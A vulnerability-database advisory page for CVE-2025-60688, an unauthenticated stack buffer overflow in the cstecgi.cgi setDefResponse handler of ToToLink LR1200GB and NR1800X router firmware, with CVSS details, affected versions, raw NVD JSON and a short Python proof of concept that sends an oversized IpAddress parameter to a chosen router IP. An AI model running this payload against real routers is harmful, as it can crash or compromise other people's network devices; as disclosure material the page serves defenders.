Security Vulnerability Report
中文
CVE-2025-60688 CVSS 6.5 MEDIUM

CVE-2025-60688

Published: 2025-11-13 16:15:53
Last Modified: 2025-11-19 17:33:06

Description

A stack buffer overflow vulnerability exists in the ToToLink LR1200GB (V9.1.0u.6619_B20230130) and NR1800X (V9.1.0u.6681_B20230703) Router firmware within the cstecgi.cgi binary (setDefResponse function). The binary reads the "IpAddress" parameter from a web request and copies it into a fixed-size stack buffer using strcpy() without any length validation. Maliciously crafted input can overflow the buffer, leading to potential arbitrary code execution or memory corruption, without requiring authentication.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:totolink:lr1200gb_firmware:9.1.0u.6619_b20230130:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:totolink:lr1200gb:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:totolink:nr1800x_firmware:9.1.0u.6681_b20230703:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:totolink:nr1800x:-:*:*:*:*:*:*:* - NOT VULNERABLE
ToToLink LR1200GB < V9.1.0u.6619_B20230130
ToToLink NR1800X < V9.1.0u.6681_B20230703

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-60688 PoC - ToToLink LR1200GB/NR1800X cstecgi.cgi Stack Buffer Overflow Note: This PoC is for educational and security research purposes only. """ import requests import sys TARGET_IP = "192.168.1.1" # Router IP address def exploit_cve_2025_60688(): """ Exploit the stack buffer overflow in cstecgi.cgi setDefResponse function by sending an oversized IpAddress parameter """ # Create payload with 500+ bytes to overflow typical stack buffer # Adjust size based on target buffer allocation payload_size = 600 malicious_ip = "A" * payload_size url = f"http://{TARGET_IP}/cstecgi.cgi" # Parameters for setDefResponse function params = { "url": "/setDefResponse", "IpAddress": malicious_ip } try: print(f"[*] Sending exploit payload ({payload_size} bytes) to {url}") response = requests.get(url, params=params, timeout=10) print(f"[*] Response Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False return True if __name__ == "__main__": if len(sys.argv) > 1: TARGET_IP = sys.argv[1] exploit_cve_2025_60688()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-60688", "sourceIdentifier": "[email protected]", "published": "2025-11-13T16:15:52.850", "lastModified": "2025-11-19T17:33:06.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack buffer overflow vulnerability exists in the ToToLink LR1200GB (V9.1.0u.6619_B20230130) and NR1800X (V9.1.0u.6681_B20230703) Router firmware within the cstecgi.cgi binary (setDefResponse function). The binary reads the \"IpAddress\" parameter from a web request and copies it into a fixed-size stack buffer using strcpy() without any length validation. Maliciously crafted input can overflow the buffer, leading to potential arbitrary code execution or memory corruption, without requiring authentication."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:lr1200gb_firmware:9.1.0u.6619_b20230130:*:*:*:*:*:*:*", "matchCriteriaId": "00F36DE9-D043-4C8B-9EF9-8DA669589E85"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:lr1200gb:-:*:*:*:*:*:*:*", "matchCriteriaId": "8442849E-5B06-41A1-8DA8-827FBD7A34E5"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:totolink:nr1800x_firmware:9.1.0u.6681_b20230703:*:*:*:*:*:*:*", "matchCriteriaId": "7F9DCAA5-1EC6-44A1-9606-B6FBF29DEC65"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:totolink:nr1800x:-:*:*:*:*:*:*:*", "matchCriteriaId": "B4D2D0E8-2678-4238-8229-83450ECA1153"}]}]}], "references": [{"url": "http://totolink.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://github.com/yifan20020708/SGTaint-0-day/blob/main/ToToLink/ToToLink-LR1200GB/CVE-2025-60688.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.totolink.net/", "source": "[email protected]", "tags": ["Product"]}]}}